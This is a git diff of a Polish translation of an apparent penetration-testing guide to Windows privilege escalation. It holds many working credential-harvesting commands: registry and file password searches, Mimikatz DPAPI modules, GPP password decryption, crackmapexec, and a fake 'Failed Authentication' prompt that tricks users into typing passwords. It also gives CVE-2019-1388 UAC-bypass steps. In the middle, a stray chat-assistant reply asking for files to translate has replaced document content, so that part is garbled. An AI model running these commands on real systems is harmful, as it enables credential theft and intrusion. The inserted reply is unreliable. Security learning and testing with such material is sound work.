Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -845,7 +841,7 @@ PS C:\htb> $credential.GetNetworkCredential().password JustAPWD! ``` -### Wi-Fi +### Wifi ```bash #List saved Wifi using netsh wlan show profile @@ -857,7 +853,7 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| ### Zapisane połączenia RDP Można je znaleźć w `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ -i w `HKCU\Software\Microsoft\Terminal Server Client\Servers\` +oraz w `HKCU\Software\Microsoft\Terminal Server Client\Servers\` ### Ostatnio uruchomione polecenia ``` @@ -868,18 +864,18 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -Użyj modułu **Mimikatz** `dpapi::rdg` z odpowiednim `/masterkey` aby **odszyfrować dowolne pliki .rdg`\ -Możesz **wyekstrahować wiele DPAPI masterkeys** z pamięci przy użyciu modułu **Mimikatz** `sekurlsa::dpapi` +Użyj modułu **Mimikatz** `dpapi::rdg` z odpowiednim `/masterkey`, aby **odszyfrować dowolne pliki .rdg**\ +Możesz **wyodrębnić wiele kluczy głównych DPAPI** z pamięci za pomocą modułu Mimikatz `sekurlsa::dpapi` ### Sticky Notes -Użytkownicy często używają aplikacji StickyNotes na stacjach roboczych z Windows, aby **zapisywać hasła** i inne informacje, nie zdając sobie sprawy, że jest to plik bazy danych. Ten plik znajduje się pod adresem `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` i zawsze warto go wyszukać i przejrzeć. +Użytkownicy często korzystają z aplikacji StickyNotes na stacjach roboczych Windows, aby **zapisywać hasła** i inne informacje, nie zdając sobie sprawy, że jest to plik bazy danych. Ten plik znajduje się pod ścieżką `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` i zawsze warto go wyszukać i zbadać. ### AppCmd.exe -**Uwaga: aby odzyskać hasła z AppCmd.exe, musisz mieć uprawnienia Administratora i uruchomić go na poziomie High Integrity.**\ -**AppCmd.exe** znajduje się w katalogu `%systemroot%\system32\inetsrv\`.\ -Jeśli ten plik istnieje, możliwe, że niektóre **credentials** zostały skonfigurowane i można je **odzyskać**. +**Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.**\ +**AppCmd.exe** znajduje się w katalogu `%systemroot%\system32\inetsrv\`.\ +Jeśli ten plik istnieje, możliwe, że niektóre **credentials** zostały skonfigurowane i mogą zostać **odzyskane**. Ten kod został wyodrębniony z [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash @@ -962,39 +958,39 @@ $ErrorActionPreference = $OrigError ### SCClient / SCCM Sprawdź, czy `C:\Windows\CCM\SCClient.exe` istnieje .\ -Instalatory są **run with SYSTEM privileges**, wiele z nich jest podatnych na **DLL Sideloading (Informacje z** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +Instalatory są **uruchamiane z SYSTEM privileges**, wiele z nich jest podatnych na **DLL Sideloading (informacje z** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` -## Pliki i Rejestr (Credentials) +## Pliki i Rejestr (Poświadczenia) ### Putty Creds ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` -### Putty SSH klucze hostów +### Putty SSH Host Keys ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### Klucze SSH w rejestrze +### SSH keys w rejestrze -Klucze prywatne SSH mogą być przechowywane w kluczu rejestru `HKCU\Software\OpenSSH\Agent\Keys`, więc powinieneś sprawdzić, czy jest tam coś interesującego: +SSH private keys mogą być przechowywane w kluczu rejestru `HKCU\Software\OpenSSH\Agent\Keys`, więc warto sprawdzić, czy znajduje się tam coś interesującego: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Jeśli znajdziesz jakikolwiek wpis w tej ścieżce, prawdopodobnie będzie to zapisany SSH key. Jest on przechowywany zaszyfrowany, ale można go łatwo odszyfrować za pomocą [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ +Jeśli znajdziesz jakikolwiek wpis w tej ścieżce, prawdopodobnie będzie to zapisany klucz SSH. Jest on przechowywany zaszyfrowany, ale można go łatwo odszyfrować przy użyciu [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ Więcej informacji o tej technice tutaj: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -Jeśli usługa `ssh-agent` nie działa i chcesz, aby uruchamiała się automatycznie przy starcie, uruchom: +Jeśli usługa `ssh-agent` nie działa i chcesz, aby uruchamiała się automatycznie przy starcie systemu, uruchom: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> Wygląda na to, że ta technika nie działa już. Próbowałem utworzyć kilka kluczy ssh, dodać je za pomocą `ssh-add` i zalogować się przez ssh na maszynę. Rejestr HKCU\Software\OpenSSH\Agent\Keys nie istnieje i procmon nie wykrył użycia `dpapi.dll` podczas uwierzytelniania asymetrycznego. +> Wygląda na to, że ta technika nie jest już aktualna. Próbowałem utworzyć kilka kluczy ssh, dodać je za pomocą `ssh-add` i zalogować się przez ssh na maszynę. Rejestr HKCU\Software\OpenSSH\Agent\Keys nie istnieje, a procmon nie zidentyfikował użycia `dpapi.dll` podczas uwierzytelniania przy użyciu klucza asymetrycznego. -### Pliki bezobsługowe +### Pliki pozostawione bez nadzoru ``` C:\Windows\sysprep\sysprep.xml C:\Windows\sysprep\sysprep.inf @@ -1009,7 +1005,7 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -Możesz też wyszukać te pliki przy użyciu **metasploit**: _post/windows/gather/enum_unattend_ +Możesz także wyszukać te pliki za pomocą **metasploit**: _post/windows/gather/enum_unattend_ Przykładowa zawartość: ```xml @@ -1056,11 +1052,11 @@ Wyszukaj plik o nazwie **SiteList.xml** ### Zbuforowane hasło GPP -Dawniej istniała funkcja umożliwiająca wdrażanie niestandardowych lokalnych kont administratora na grupie maszyn za pomocą Group Policy Preferences (GPP). Jednak metoda ta miała poważne luki bezpieczeństwa. Po pierwsze, Group Policy Objects (GPO), przechowywane jako pliki XML w SYSVOL, były dostępne dla każdego użytkownika domeny. Po drugie, hasła w tych GPP, zaszyfrowane AES256 przy użyciu publicznie udokumentowanego klucza domyślnego, mogły zostać odszyfrowane przez dowolnego uwierzytelnionego użytkownika. Stanowiło to poważne ryzyko, ponieważ mogło to pozwolić użytkownikom na uzyskanie podwyższonych uprawnień. +W przeszłości istniała funkcja, która umożliwiała wdrożenie niestandardowych kont administratora lokalnego na grupie maszyn za pomocą Group Policy Preferences (GPP). Jednak ta metoda miała poważne luki w bezpieczeństwie. Po pierwsze, Group Policy Objects (GPO), przechowywane jako pliki XML w SYSVOL, były dostępne dla każdego użytkownika domeny. Po drugie, hasła w tych GPP, szyfrowane przy użyciu AES256 z publicznie udokumentowanym domyślnym kluczem, mogły zostać odszyfrowane przez dowolnego uwierzytelnionego użytkownika. Stwarzało to poważne ryzyko, ponieważ mogło pozwolić użytkownikom na uzyskanie podwyższonych uprawnień. -Aby złagodzić to ryzyko, opracowano funkcję skanującą lokalnie zbuforowane pliki GPP zawierające pole "cpassword", które nie jest puste. Po znalezieniu takiego pliku funkcja odszyfrowuje hasło i zwraca niestandardowy obiekt PowerShell. Obiekt ten zawiera informacje o GPP i lokalizacji pliku, ułatwiając identyfikację i usunięcie tej luki bezpieczeństwa. +Aby zmniejszyć to ryzyko, opracowano funkcję skanującą lokalnie zbuforowane pliki GPP zawierające pole "cpassword", które nie jest puste. Po znalezieniu takiego pliku funkcja odszyfrowuje hasło i zwraca niestandardowy obiekt PowerShell. Obiekt ten zawiera szczegóły dotyczące GPP oraz lokalizację pliku, co pomaga w identyfikacji i usunięciu tej luki bezpieczeństwa. -Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (przed Windows Vista)_ for these files: +Szukaj w `C:\ProgramData\Microsoft\Group Policy\history` lub w _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (przed Windows Vista)_ następujących plików: - Groups.xml - Services.xml @@ -1074,7 +1070,7 @@ Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ``` -Używanie crackmapexec do pobrania haseł: +Użycie crackmapexec do uzyskania haseł: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` @@ -1102,7 +1098,7 @@ Przykład web.config z poświadczeniami: ``` -### OpenVPN dane uwierzytelniające +### Poświadczenia OpenVPN ```csharp Add-Type -AssemblyName System.Security $keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs" @@ -1130,9 +1126,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### Zapytaj o credentials +### Poproś o credentials -Możesz zawsze **poprosić użytkownika o wpisanie jego credentials lub nawet credentials innego użytkownika**, jeśli uważasz, że może je znać (zauważ, że **poproszenie** klienta bezpośrednio o **credentials** jest naprawdę **ryzykowne**): +Zawsze możesz **poprosić użytkownika, aby wpisał swoje credentials lub nawet credentials innego użytkownika**, jeśli uważasz, że może je znać (zauważ, że **bezpośrednie poproszenie** klienta o **credentials** jest naprawdę **ryzykowne**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1140,9 +1136,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **Możliwe nazwy plików zawierających poświadczenia** +### **Możliwe nazwy plików zawierające credentials** -Znane pliki, które jakiś czas temu zawierały **hasła** w postaci **jawnego tekstu** lub **Base64** +Znane pliki, które jakiś czas temu zawierały **passwords** w **clear-text** lub **Base64** ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1206,14 +1202,14 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -Nie otrzymałem treści pliku(a). Proszę wgrać lub wkleić zawartość pliku(ów) (np. src/windows-hardening/windows-local-privilege-escalation/README.md) które mam przetłumaczyć — wtedy przetłumaczę je na polski zachowując dokładnie markdown, tagi i ścieżki. +Nie załączyłeś zawartości plików ani nie udostępniłeś repozytorium. Co dokładnie mam przeszukać? -Jeśli chcesz, żebym przeszukał wiele plików w repozytorium, podaj: -- listę ścieżek plików lub -- archiwum/repozytorium (link) albo -- wklej zawartości plików. +Możesz: +- Wpisać konkretne słowo/wyrażenie do przeszukania w proponowanych plikach, lub +- Wkleić zawartość plików (np. src/windows-hardening/windows-local-privilege-escalation/README.md), żebym mógł je przetłumaczyć na polski według podanych reguł, albo +- Dać dostęp do repo (link) i wzorzec wyszukiwania. -Potwierdź też, czy tłumaczyć tylko tekst narracyjny (nie tłumaczę kodu, nazw technik, linków ani tagów, zgodnie z wytycznymi). +Daj znać, którą opcję wybierasz i ewentualnie słowo/wyrażenie do wyszukania. ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1222,15 +1218,15 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### Poświadczenia w Koszu +### Credentials w RecycleBin -Powinieneś także sprawdzić Kosz w poszukiwaniu poświadczeń +Powinieneś także sprawdzić Bin w poszukiwaniu credentials -Aby **odzyskać hasła** zapisane przez różne programy możesz użyć: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +Aby **recover passwords** zapisanych przez kilka programów, możesz użyć: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) ### W rejestrze -**Inne możliwe klucze rejestru zawierające poświadczenia** +**Inne możliwe klucze rejestru zawierające credentials** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s @@ -1241,10 +1237,10 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### Historia przeglądarek -Sprawdź bazy danych, w których przechowywane są hasła z **Chrome or Firefox**.\ -Sprawdź także historię, zakładki i ulubione przeglądarek — być może niektóre **hasła są** tam przechowywane. +Powinieneś sprawdzić bazy danych, w których przechowywane są hasła z **Chrome or Firefox**.\ +Sprawdź także historię, zakładki i ulubione w przeglądarkach — być może niektóre **hasła są** tam zapisane. -Narzędzia do wyodrębniania haseł z przeglądarek: +Narzędzia do wyciągania haseł z przeglądarek: - Mimikatz: `dpapi::chrome` - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) @@ -1253,17 +1249,17 @@ Narzędzia do wyodrębniania haseł z przeglądarek: ### **COM DLL Overwriting** -**Component Object Model (COM)** to technologia wbudowana w systemie Windows, która umożliwia **komunikację** między komponentami oprogramowania napisanymi w różnych językach. Każdy komponent COM jest **identyfikowany via a class ID (CLSID)** i każdy komponent udostępnia funkcjonalność przez jeden lub więcej interfejsów, identyfikowanych przez interface IDs (IIDs). +**Component Object Model (COM)** to technologia wbudowana w system operacyjny Windows, która umożliwia **komunikację** między komponentami oprogramowania napisanymi w różnych językach. Każdy komponent COM jest **identyfikowany za pomocą class ID (CLSID)** i każdy komponent udostępnia funkcjonalność przez jeden lub więcej interfejsów, identyfikowanych za pomocą interface ID (IID). -Klasy i interfejsy COM są zdefiniowane w rejestrze pod **HKEY\CLASSES\ROOT\CLSID** i **HKEY\CLASSES\ROOT\Interface** odpowiednio. Ten obszar rejestru powstaje przez połączenie **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** +Klasy i interfejsy COM są zdefiniowane w rejestrze pod **HKEY\CLASSES\ROOT\CLSID** oraz **HKEY\CLASSES\ROOT\Interface** odpowiednio. Ten klucz rejestru powstaje przez scalenie **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** -Wewnątrz CLSID-ów w tym rejestrze można znaleźć podklucz **InProcServer32**, który zawiera a **default value** wskazującą na **DLL** oraz wartość o nazwie **ThreadingModel**, która może być **Apartment** (jednowątkowy), **Free** (wielowątkowy), **Both** (jedno- lub wielowątkowy) lub **Neutral** (neutralny względem wątków). +Wewnątrz CLSID-ów w tym rejestrze można znaleźć podklucz rejestru **InProcServer32**, który zawiera **wartość domyślną** wskazującą na **DLL** oraz wartość nazwaną **ThreadingModel**, która może mieć wartość **Apartment** (jednowątkowy), **Free** (wielowątkowy), **Both** (jedno- lub wielowątkowy) lub **Neutral** (neutralny dla wątków). ![](<../../images/image (729).png>) -W praktyce, jeśli możesz **overwrite any of the DLLs** które zostaną wykonane, możesz **escalate privileges** jeśli ta DLL zostanie wykonana przez innego użytkownika. +W praktyce, jeśli uda ci się **nadpisać dowolną z DLL**, które zostaną wykonane, możesz **eskalować uprawnienia**, jeśli ta DLL zostanie uruchomiona przez innego użytkownika. -Aby dowiedzieć się, jak atakujący wykorzystują COM Hijacking jako mechanizm utrwalania dostępu, sprawdź: +Aby dowiedzieć się, jak atakujący używają COM Hijacking jako persistence mechanism sprawdź: {{#ref}} @@ -1272,7 +1268,7 @@ com-hijacking.md ### **Ogólne wyszukiwanie haseł w plikach i rejestrze** -**Przeszukaj zawartość plików** +**Wyszukaj zawartość plików** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config @@ -1284,20 +1280,20 @@ dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**Przeszukaj rejestr w poszukiwaniu nazw kluczy i haseł** +**Przeszukaj rejestr pod kątem nazw kluczy i haseł** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -### Narzędzia, które wyszukują passwords +### Narzędzia wyszukujące hasła -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** plugin. Stworzyłem tę wtyczkę, aby **automatically execute every metasploit POST module that searches for credentials** inside the victim.\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) automatycznie wyszukuje wszystkie pliki zawierające passwords wspomniane na tej stronie.\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) to kolejne świetne narzędzie do extract password z systemu. +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** plugin. Stworzyłem ten plugin, aby **automatically execute every metasploit POST module that searches for credentials** inside the victim.\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) automatycznie wyszukuje wszystkie pliki zawierające hasła wymienione na tej stronie.\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) to kolejne świetne narzędzie do wyciągania haseł z systemu. -Narzędzie [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) wyszukuje **sessions**, **usernames** i **passwords** kilku narzędzi, które zapisują te dane w clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) +Narzędzie [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) wyszukuje **sessions**, **usernames** i **passwords** z kilku narzędzi, które zapisują te dane w postaci jawnego tekstu (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1306,30 +1302,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Wyobraź sobie, że **proces działający jako SYSTEM otwiera nowy proces** (`OpenProcess()`) z **pełnym dostępem**. Ten sam proces **tworzy też nowy proces** (`CreateProcess()`) **z niskimi uprawnieniami, ale dziedziczący wszystkie otwarte handle głównego procesu**.\ -Jeśli masz **pełny dostęp do procesu o niskich uprawnieniach**, możesz przejąć **otwarty handle do uprzywilejowanego procesu utworzonego** przy pomocy `OpenProcess()` i **wstrzyknąć shellcode**.\ +Wyobraź sobie, że **proces działający jako SYSTEM otwiera nowy proces** (`OpenProcess()`) z **pełnym dostępem**. Ten sam proces **również tworzy nowy proces** (`CreateProcess()`) **o niskich uprawnieniach, ale dziedziczący wszystkie otwarte uchwyty głównego procesu**.\ +Wówczas, jeśli masz **pełny dostęp do procesu o niskich uprawnieniach**, możesz przechwycić **otwarty uchwyt do uprzywilejowanego procesu utworzonego** przy użyciu `OpenProcess()` i **wstrzyknąć shellcode**.\ [Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ [Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -Segmenty pamięci współdzielonej, nazywane **pipes**, umożliwiają komunikację między procesami i przesyłanie danych. +Segmenty pamięci współdzielonej, określane jako **pipes**, umożliwiają komunikację między procesami i transfer danych. -Windows oferuje mechanizm o nazwie **Named Pipes**, pozwalający niepowiązanym procesom na wymianę danych, nawet przez różne sieci. Przypomina to architekturę client/server, z rolami określonymi jako **named pipe server** i **named pipe client**. +Windows udostępnia funkcję nazwaną **Named Pipes**, pozwalającą niezależnym procesom na wymianę danych, nawet przez różne sieci. Przypomina to architekturę klient/serwer, z rolami określonymi jako **named pipe server** i **named pipe client**. -Gdy dane są wysyłane przez **client** przez pipe, **server**, który ustawił pipe, ma możliwość **przyjęcia tożsamości** tego **clienta**, pod warunkiem że posiada odpowiednie prawa **SeImpersonate**. Zidentyfikowanie **uprzywilejowanego procesu**, który komunikuje się przez pipe, który możesz naśladować, daje możliwość **uzyskania wyższych uprawnień** poprzez przyjęcie tożsamości tego procesu, gdy wejdzie on w interakcję z pipe, który utworzyłeś. Instrukcje dotyczące przeprowadzenia takiego ataku znajdują się [**tutaj**](named-pipe-client-impersonation.md) oraz [**tutaj**](#from-high-integrity-to-system). +Gdy dane są wysyłane przez pipe przez **client**, **server**, który utworzył pipe, ma możliwość **przyjęcia tożsamości** **clienta**, pod warunkiem że posiada odpowiednie prawa **SeImpersonate**. Zidentyfikowanie **uprzywilejowanego procesu**, który komunikuje się przez pipe, który możesz naśladować, stwarza możliwość **uzyskania wyższych uprawnień** przez przyjęcie tożsamości tego procesu, gdy ten wejdzie w interakcję z pipe, który ustawiłeś. Instrukcje dotyczące wykonania takiego ataku można znaleźć [**tutaj**](named-pipe-client-impersonation.md) i [**tutaj**](#from-high-integrity-to-system). -Ponadto następujące narzędzie umożliwia **przechwytywanie komunikacji named pipe za pomocą narzędzia takiego jak burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **a to narzędzie pozwala wylistować i zobaczyć wszystkie pipes, aby znaleźć privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Dodatkowo poniższe narzędzie pozwala **przechwycić komunikację named pipe za pomocą narzędzia takiego jak burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **a to narzędzie pozwala wylistować i zobaczyć wszystkie pipes, aby znaleźć privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## Misc +## Różne -### Rozszerzenia plików, które mogą wykonywać kod w Windows +### Rozszerzenia plików, które mogą uruchamiać kod w Windows Zobacz stronę **[https://filesec.io/](https://filesec.io/)** -### **Monitorowanie linii poleceń pod kątem haseł** +### **Monitorowanie linii poleceń w poszukiwaniu haseł** -Po uzyskaniu shella jako użytkownik mogą istnieć zaplanowane zadania lub inne procesy, które są uruchamiane i **przekazują dane uwierzytelniające w linii poleceń**. Skrypt poniżej przechwytuje linie poleceń procesów co dwie sekundy i porównuje aktualny stan z poprzednim, wypisując wszelkie różnice. +Po zdobyciu shella jako użytkownik mogą istnieć zadania zaplanowane lub inne procesy, które przekazują dane uwierzytelniające w wierszu poleceń. Skrypt poniżej przechwytuje wiersze poleceń procesów co dwie sekundy i porównuje bieżący stan z poprzednim, wypisując wszelkie różnice. ```bash while($true) { @@ -1339,13 +1335,13 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## Kradzież haseł z procesów +## Stealing passwords from processes -## Z konta użytkownika z niskimi uprawnieniami do NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass +## From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -Jeśli masz dostęp do interfejsu graficznego (przez konsolę lub RDP) i UAC jest włączony, w niektórych wersjach Microsoft Windows możliwe jest uruchomienie terminala lub innego procesu jako "NT\AUTHORITY SYSTEM" z konta nieuprzywilejowanego użytkownika. +Jeśli masz dostęp do interfejsu graficznego (przez konsolę lub RDP) i UAC jest włączony, w niektórych wersjach Microsoft Windows możliwe jest uruchomienie terminala lub dowolnego innego procesu takiego jak "NT\AUTHORITY SYSTEM" z poziomu użytkownika bez uprawnień. -Pozwala to na eskalację uprawnień i obejście UAC jednocześnie za pomocą tej samej luki. Dodatkowo nie ma potrzeby instalowania czegokolwiek, a plik binarny używany podczas procesu jest podpisany i wydany przez Microsoft. +Pozwala to na eskalację uprawnień i obejście UAC jednocześnie wykorzystując tę samą podatność. Dodatkowo nie ma potrzeby instalowania czegokolwiek, a plik wykonywalny używany w trakcie procesu jest podpisany i wydany przez Microsoft. Niektóre z dotkniętych systemów to: ``` @@ -1369,7 +1365,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -Aby wykorzystać tę lukę, należy wykonać następujące kroki: +Aby wykorzystać tę podatność, należy wykonać następujące kroki: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1391,134 +1387,134 @@ You have all the necessary files and information in the following GitHub reposit https://github.com/jas502n/CVE-2019-1388 -## Z Administrator Medium do High Integrity Level / UAC Bypass +## Z poziomu Administratora (Medium) do High Integrity Level / UAC Bypass -Przeczytaj to, aby **dowiedzieć się o Integrity Levels**: +Read this to **learn about Integrity Levels**: {{#ref}} integrity-levels.md {{#endref}} -Następnie **przeczytaj to, aby dowiedzieć się o UAC i UAC bypasses:** +Then **read this to learn about UAC and UAC bypasses:** {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} -## Z Arbitrary Folder Delete/Move/Rename do SYSTEM EoP +## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP -Technika opisana [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) z kodem exploit [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +The technique described [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) with a exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -Atak zasadniczo polega na nadużyciu mechanizmu rollback Windows Installer, aby zastąpić prawidłowe pliki złośliwymi podczas procesu deinstalacji. W tym celu atakujący musi utworzyć **malicious MSI installer**, który zostanie użyty do przejęcia folderu `C:\Config.Msi`, który później będzie używany przez Windows Installer do przechowywania plików rollback podczas deinstalacji innych pakietów MSI, gdzie pliki rollback zostałyby zmodyfikowane, aby zawierać złośliwy payload. +The attack basically consist of abusing the Windows Installer's rollback feature to replace legitimate files with malicious ones during the uninstallation process. For this the attacker needs to create a **malicious MSI installer** that will be used to hijack the `C:\Config.Msi` folder, which will later be used by he Windows Installer to store rollback files during the uninstallation of other MSI packages where the rollback files would have been modified to contain the malicious payload. -Podsumowana technika wygląda następująco: +The summarized technique is the following: 1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** -- Krok 1: Zainstaluj MSI -- Utwórz `.msi`, które instaluje nieszkodliwy plik (np. `dummy.txt`) w zapisywalnym folderze (`TARGETDIR`). -- Oznacz instalator jako **"UAC Compliant"**, tak aby użytkownik niebędący administratorem mógł go uruchomić. -- Pozostaw po instalacji otwarty **handle** do pliku. +- Step 1: Install the MSI +- Create an `.msi` that installs a harmless file (e.g., `dummy.txt`) in a writable folder (`TARGETDIR`). +- Mark the installer as **"UAC Compliant"**, so a **non-admin user** can run it. +- Keep a **handle** open to the file after install. -- Krok 2: Rozpocznij deinstalację -- Odinstaluj to samo `.msi`. -- Proces deinstalacji zaczyna przenosić pliki do `C:\Config.Msi` i zmieniać ich nazwy na `.rbf` (rollback backups). -- Monitoruj otwarty handle pliku używając `GetFinalPathNameByHandle`, aby wykryć kiedy plik stanie się `C:\Config.Msi\.rbf`. +- Step 2: Begin Uninstall +- Uninstall the same `.msi`. +- The uninstall process starts moving files to `C:\Config.Msi` and renaming them to `.rbf` files (rollback backups). +- **Poll the open file handle** using `GetFinalPathNameByHandle` to detect when the file becomes `C:\Config.Msi\.rbf`. -- Krok 3: Custom Syncing -- `.msi` zawiera **custom uninstall action (`SyncOnRbfWritten`)**, która: -- Sygnalizuje, kiedy `.rbf` został zapisany. -- Następnie 